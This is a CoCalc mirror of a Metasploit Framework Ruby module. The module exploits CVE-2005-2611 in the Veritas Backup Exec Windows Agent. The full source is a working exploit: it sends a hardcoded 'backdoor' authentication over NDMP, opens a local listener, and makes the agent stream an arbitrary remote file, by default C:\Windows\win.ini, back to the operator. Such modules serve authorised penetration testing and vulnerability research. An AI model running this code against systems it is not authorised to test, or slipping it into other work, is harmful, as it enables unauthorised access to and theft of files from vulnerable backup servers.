CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/backupexec/dump.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::NDMP
8
9
def initialize(info = {})
10
super(update_info(info,
11
'Name' => 'Veritas Backup Exec Windows Remote File Access',
12
'Description' => %q{
13
This module abuses a logic flaw in the Backup Exec Windows Agent to download
14
arbitrary files from the system. This flaw was found by someone who wishes to
15
remain anonymous and affects all known versions of the Backup Exec Windows Agent. The
16
output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program
17
listed in the references section. To transfer an entire directory, specify a
18
path that includes a trailing backslash.
19
},
20
'Author' => [ 'hdm', 'Unknown' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
['CVE', '2005-2611'],
25
['OSVDB', '18695'],
26
['BID', '14551'],
27
['URL', 'https://web.archive.org/web/20120227144337/http://www.fpns.net/willy/msbksrc.lzh'],
28
],
29
'Actions' =>
30
[
31
['Download', 'Description' => 'Download arbitrary file']
32
],
33
'DefaultAction' => 'Download'
34
))
35
36
register_options(
37
[
38
Opt::RPORT(10000),
39
OptAddressLocal.new('LHOST',
40
[
41
false,
42
"The local IP address to accept the data connection"
43
]
44
),
45
OptPort.new('LPORT',
46
[
47
false,
48
"The local port to accept the data connection"
49
]
50
),
51
OptString.new('RPATH',
52
[
53
true,
54
"The remote filesystem path to download",
55
"C:\\Windows\\win.ini"
56
]
57
),
58
OptString.new('LPATH',
59
[
60
true,
61
"The local filename to store the exported data",
62
"backupexec_dump.mtf"
63
]
64
),
65
])
66
end
67
68
def run
69
print_status("Attempting to retrieve #{datastore['RPATH']}...")
70
71
lfd = File.open(datastore['LPATH'], 'wb')
72
73
connect
74
data = ndmp_recv()
75
if (not data)
76
print_error("Did not receive a response from the agent")
77
disconnect
78
return
79
end
80
81
username = "root"
82
password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"
83
84
#
85
# Authenticate using the backdoor password
86
#
87
auth = [
88
1,
89
Time.now.to_i,
90
0,
91
0x0901,
92
0,
93
0,
94
2,
95
username.length,
96
username,
97
password
98
].pack('NNNNNNNNA*A*')
99
100
print_status("Sending magic authentication request...")
101
ndmp_send(auth)
102
data = ndmp_recv()
103
if (not data)
104
print_error("Did not receive a response to our authentication request")
105
disconnect
106
return
107
end
108
109
110
#
111
# Create our listener for the data connection
112
#
113
print_status("Starting our data listener...")
114
sfd = Rex::Socket.create_tcp_server(
115
'LocalPort' => datastore['LPORT']
116
)
117
118
local_addr = (datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']))
119
local_port = sfd.getsockname[2]
120
121
#
122
# Create the DATA_CONNECT request
123
#
124
conn = [
125
3,
126
0,
127
0,
128
0x040a,
129
0,
130
0,
131
1,
132
Rex::Socket.resolv_nbo(local_addr, false),
133
local_port
134
].pack('NNNNNNNA4N')
135
136
print_status("Sending data connection request...")
137
ndmp_send(conn)
138
data = ndmp_recv()
139
if (not data)
140
print_error("Did not receive a response to our data connection request")
141
sfd.close
142
disconnect
143
return
144
end
145
146
#
147
# Wait for the agent to connect back
148
#
149
print_status("Waiting for the data connection...")
150
rfd = sfd.accept()
151
sfd.close
152
153
154
#
155
# Create the Mover Set Record Size request
156
#
157
msrs = [
158
4,
159
0,
160
0,
161
0x0a08,
162
0,
163
0,
164
0x8000
165
].pack('NNNNNNN')
166
167
print_status("Sending transfer parameters...")
168
ndmp_send(msrs)
169
data = ndmp_recv()
170
if (not data)
171
print_error("Did not receive a response to our parameters request")
172
disconnect
173
return
174
end
175
176
#
177
# Define our transfer parameters
178
#
179
xenv =
180
[
181
['USERNAME', ''],
182
['BU_EXCLUDE_ACTIVE_FILES', '0'],
183
['FILESYSTEM', "\"\\\\#{datastore['RHOST']}\\#{datastore['RPATH']}\",v0,t0,l0,n0,f0"]
184
]
185
186
#
187
# Create the DATA_START_BACKUP request
188
#
189
bkup = [
190
5,
191
0,
192
0,
193
0x0401,
194
0,
195
0,
196
4
197
].pack('NNNNNNN')
198
bkup += "dump"
199
bkup += [ xenv.length ].pack('N')
200
201
#
202
# Encode the transfer parameters
203
#
204
xenv.each do |e|
205
k,v = e
206
207
# Variable
208
bkup += [k.length].pack('N')
209
bkup += k
210
bkup += Rex::Encoder::NDR.align(k)
211
212
# Value
213
bkup += [v.length].pack('N')
214
bkup += v
215
bkup += Rex::Encoder::NDR.align(v)
216
end
217
218
bkup[-1, 1] = "\x01"
219
220
print_status("Sending backup request...")
221
ndmp_send(bkup)
222
data = ndmp_recv()
223
if (not data)
224
print_error("Did not receive a response to our backup request")
225
disconnect
226
return
227
end
228
229
#
230
# Create the GET_ENV request
231
#
232
genv = [
233
5,
234
0,
235
0,
236
0x4004,
237
0,
238
0
239
].pack('NNNNNN')
240
241
print_status("Sending environment request...")
242
ndmp_send(genv)
243
data = ndmp_recv()
244
if (not data)
245
print_error("Did not receive a response to our environment request")
246
disconnect
247
return
248
end
249
250
#
251
# Start transferring data
252
#
253
print_status("Transferring data...")
254
bcnt = 0
255
256
begin
257
while (data = rfd.get_once)
258
bcnt += data.length
259
lfd.write(data)
260
end
261
rescue ::EOFError
262
end
263
264
lfd.close
265
rfd.close
266
267
print_status("Transferred #{bcnt} bytes.")
268
disconnect
269
270
end
271
end
272
273